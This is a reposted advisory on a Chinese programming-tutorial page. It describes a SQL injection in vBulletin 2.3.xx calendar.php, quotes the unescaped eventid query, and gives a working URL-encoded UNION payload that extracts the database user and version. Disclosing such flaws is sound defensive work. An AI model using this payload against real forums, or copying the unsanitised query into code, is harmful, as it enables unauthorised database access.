繁體中文当前位置: 首页 > 图文教程 > 网络编程 > PHP > vBulletin Forum 2.3.xx SQL Injection
- PHP
- IIS+mysql+php学习
- PEAR MDB 数据库抽象层 ?? 一次编写?随处运行
- 数据库设计技巧(二)
- 数据库设计技巧(三)
- PHP中通过ADO调用Access数据库
- 从 MySQL 导入导出大量数据的程序实现方法
- MySQL中修改密码及访问限制设置详解
- 数据库设计范式
- MySQL 查询中的分页思路的优化
- Adodb 官方介绍
- PHP中 ADOdb 类库介绍(二)
- PHP中 ADOdb 类库介绍(一)
- MySQL中各种字段的取值范围
- 数据库设计技巧(一)
- 为数据库建立索引(一)
- 为数据库建立索引(二)
- 用 PHP 实现 XML 备份 Mysql 数据库
- mysql常见出错代码
- 浅谈php+mysql身份验证的方法
- apache服务器配置全攻略
PHP 中的 vBulletin Forum 2.3.xx SQL Injection
出处:互联网 整理: 软晨网（RuanChen.com） 发布: 2009-09-13 浏览: 118 ::
收藏到网摘: n/a
vBulletin Forum 2.3.xx SQL Injection There exist a sql injection problem in calendar.php.
-------- Cut from line 585 in calendar.php ----------
else if ($action == "edit")
{
$eventinfo = $DB_site->query_first("SELECT allowsmilies,public,userid,
eventdate,event,subject FROM calendar_events WHERE eventid = $eventid");
-----------------------------------------------------
If the MySQL version is greater than 4.00, a UNION attack could be used.
-----------------------------------------
http://ww.xxx.com/bbs/calendar.php?action=edit&eventid=12%20union%20(SELECT%20allowsmilies,public,userid,'0000-0-0',user(),version()%20FROM%20calendar_ev
ents%20WHERE%20eventid%20=%2013)%20order%20by%20eventdate
-----------------------------------------
The query_first function will only return the first row of the query result, so make sure it returns !
the one you want.
评论 (0) All
